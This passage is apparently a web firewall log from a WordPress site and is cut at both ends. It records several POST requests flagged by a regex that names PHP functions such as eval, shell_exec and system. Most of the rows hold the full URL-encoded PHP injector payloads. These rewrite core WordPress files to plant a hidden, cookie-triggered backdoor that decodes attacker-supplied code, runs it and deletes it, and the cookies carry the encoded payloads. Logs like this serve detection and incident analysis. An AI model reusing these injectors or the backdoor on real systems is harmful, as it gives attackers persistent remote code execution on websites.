20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:44:29","72.167.150.128","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-item-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B87-87%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-64%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-83%252B87%255D%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520function%2520publish_content%2528%2524elem%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275bbc8e79%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524object%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524descriptor%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524symbol%252C%2520%2524object%2529%253B%2520fclose%2528%2524symbol%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522publish_content%2522%2529%253B%2520%2524tkn%2520%253D%2520%25223d9cb44b5e061d5f685842ae25729313%2522%253B%2520if%2520%2528%2521strncmp%2528%2524tkn%252C%2520%2524descriptor%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522reverse_searcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\ncontent-length:4401\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-item-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B87-87%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-64%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-83%252B87%255D%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520function%2520publish_content%2528%2524elem%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275bbc8e79%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524object%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524descriptor%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524symbol%252C%2520%2524object%2529%253B%2520fclose%2528%2524symbol%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522publish_content%2522%2529%253B%2520%2524tkn%2520%253D%2520%25223d9cb44b5e061d5f685842ae25729313%2522%253B%2520if%2520%2528%2521strncmp%2528%2524tkn%252C%2520%2524descriptor%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522reverse_searcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 18:44:34","78.142.18.172","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Op:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Source.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B26%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B19%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B25%255D.%2524p%255B9%255D%2528%2524p%255B17%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG3NvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:3267\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\n\nOp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Source.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B26%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B19%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B25%255D.%2524p%255B9%255D%2528%2524p%255B17%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:44:52","217.217.254.45","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> XX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Source.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B26%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B19%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B25%255D.%2524p%255B9%255D%2528%2524p%255B17%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJStvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:3267\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\n\nXX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Source.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B26%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B19%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B25%255D.%2524p%255B9%255D%2528%2524p%255B17%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:45:14","203.190.11.3","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Source.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B26%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B19%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B25%255D.%2524p%255B9%255D%2528%2524p%255B17%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM3bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:3267\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 